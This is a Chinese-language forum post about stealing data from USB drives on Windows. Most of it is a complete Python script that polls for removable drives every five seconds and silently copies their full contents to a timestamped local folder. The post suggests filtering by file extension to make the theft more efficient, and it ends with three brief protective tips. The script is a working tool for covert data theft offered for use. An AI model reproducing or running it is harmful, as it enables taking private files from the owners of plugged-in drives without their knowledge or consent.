Windows窃取U盘数据及防护措施

举报
大秋神 发表于 2020/12/15 15:51:44 2020/12/15
【摘要】 本程序会监视USB移动存储设备(如:U盘,MP3等)的插入,并按用户设置在后台复制文件.为方便使用将会使用时间命名的文件夹.
#!usr/bin/env python3
#!_*_ conding:utf-8 _*_
#!@Author:大秋神
#!@Time:2019-07-30 下午 12:02
import os,shutil,datetime,psutil,time
s_path = r"E:\大秋神"
while True:
    #遍历磁盘
    for i in psutil.disk_partitions():
        if "removable" in i[3]:  #i[3] 判断是否是移动盘
            # U盘
            u_path =i[0]  #i[0] 是代表盘符
            # #存的位置
            if os.path.exists(u_path): #判断路径是否存在
          
                     print("正在复制U盘%s" % i[0])
                     shutil.copytree(u_path,os.path.join(s_path,datetime.datetime.now().strftime("%Y%m%d_%H%M%S")))
                     print("U盘%s复制结束"% i[0])
        
        else:
                
                print("没有检测到U盘")
    time.sleep(5)  #每5秒等待

_path : 自己修改,其他的可以不修改

通过psutil模块获取可移动设备,遍历出可以移动设备的盘符,然后进行判断路径,然后使用shutil模块进行数据拷贝。

为了保证随时监测U盘存在,使用while一直监听。

PS:因为数据量太大,可以在修改源代码,获取指定后缀名的数据,方便快捷

防护措施:

1.不随便将U盘等插入公用电脑

2.打印、传输文件单独放 

3.文件进行加密 

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。